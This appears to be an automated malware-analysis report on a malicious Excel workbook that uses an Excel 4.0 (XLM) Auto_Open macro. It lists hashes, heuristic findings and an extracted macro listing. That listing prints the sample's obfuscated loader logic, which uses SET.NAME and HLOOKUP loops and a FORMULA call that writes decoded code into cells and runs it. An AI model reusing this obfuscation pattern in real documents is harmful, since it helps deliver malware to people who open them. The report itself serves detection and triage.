Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5cf81b88b6829c47…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:45:00 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: 38a4ba177314552216683a3b00ea11e5 SHA-1: f9ff2bec229ee5c4c42931a17917156e88fb20a9 SHA-256: 5cf81b88b6829c47f85d967f330489b44603e337d500905eababbc29ef95ad5f
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6510 bytes
SHA-256: 10cc355703958d991bf8e5dcc9605050bb58885483176c5e03d475ca41e36192
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  hAvM
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E153 
' 0018     25 LABEL : Cell Value, String Constant - bqhQawrNEE len=0 
' 0018     23 LABEL : Cell Value, String Constant - fbYKELxy len=0 
' 0018     20 LABEL : Cell Value, String Constant - fyBkh len=0 
' 0018     25 LABEL : Cell Value, String Constant - fzEFSlkjwK len=0 
' 0018     22 LABEL : Cell Value, String Constant - HSzyxeP len=0 
' 0018     23 LABEL : Cell Value, String Constant - iClpuYgn len=0 
' 0018     26 LABEL : Cell Value, String Constant - IEKdQFkjVed len=0 
' 0018     26 LABEL : Cell Value, String Constant - JywGwFzRXRw len=0 
' 0018     21 LABEL : Cell Value, String Constant - KHAcgA len=0 
' 0018     23 LABEL : Cell Value, String Constant - LHrablQe len=0 
' 0018     23 LABEL : Cell Value, String Constant - LLOHtwmG len=0 
' 0018     21 LABEL : Cell Value, String Constant - maIvfe len=0 
' 0018     21 LABEL : Cell Value, String Constant - nPvybN len=0 
' 0018     26 LABEL : Cell Value, String Constant - OwovegtXSGh len=0 
' 0018     25 LABEL : Cell Value, String Constant - OZfDaUBXpu len=0 
' 0018     21 LABEL : Cell Value, String Constant - OZWgDz len=0 
' 0018     23 LABEL : Cell Value, String Constant - usUeIpWy len=0 
' 0018     22 LABEL : Cell Value, String Constant - Uvpxxqe len=0 
' 0018     20 LABEL : Cell Value, String Constant - XRPah len=0 
' 0018     27 LABEL : Cell Value, String Constant - XzrIlAQSuclH len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  hAvM,E71,"SET.NAME("KHAcgA",VALUE("0"))",""
'  hAvM,E75,"SET.NAME("bqhQawrNEE",KHAcgA)",""
'  hAvM,E78,"SET.NAME("fbYKELxy",KHAcgA)",""
'  hAvM,E81,"SET.NAME("fyBkh",COUNTA(IEKdQFkjVed))",""
'  hAvM,E86,"SET.NAME("XzrIlAQSuclH",COUNTA(OZfDaUBXpu))",""
'  hAvM,E89,[],""
'  hAvM,E91,"SET.NAME("OwovegtXSGh","")",""
'  hAvM,E94,"bqhQawrNEE",""
'  hAvM,E96,"SET.NAME("OZWgDz",HLOOKUP("*",IEKdQFkjVed,bqhQawrNEE,FALSE))",""
'  hAvM,E99,"iClpuYgn",""
'  hAvM,E104,"SET.NAME("LHrablQe",KHAcgA)",""
'  hAvM,E108,[],""
'  hAvM,E110,"LHrablQe",""
'  hAvM,E114,"HSzyxeP",""
'  hAvM,E116,"nPvybN",""
'  hAvM,E121,"JywGwFzRXRw",""
'  hAvM,E126,"SET.NAME("usUeIpWy",VALUE(HLOOKUP("*",OZfDaUBXpu,JywGwFzRXRw,FALSE)))",""
'  hAvM,E130,"fzEFSlkjwK",""
'  hAvM,E135,"OwovegtXSGh",""
'  hAvM,E137,"fbYKELxy",""
'  hAvM,E141,NEXT(),""
'  hAvM,E143,"maIvfe",""
'  hAvM,E145,"SET.NAME("f",INT(T(FORMULA(T(OwovegtXSGh)&"",""&T(maIvfe)))))",""
'  hAvM,E147,"XRPah",""
'  hAvM,E149,NEXT(),""
'  hAvM,E151,RETURN(),""
'  hAvM,E180,"SET.NAME("Uvpxxqe",E71)",""
'  hAvM,E183,"IEKdQFkjVed",""
'  hAvM,E185,"SET.NAME("OZfDaUBXpu",R85C11)",""
'  hAvM,E187,"SET.NAME("XRPah",196)",""
'  hAvM,E190,"SET.NAME("LLOHtwmG",5)",""
'  hAvM,E195,Uvpxxqe(),""
'  hAvM,E196,HALT(),""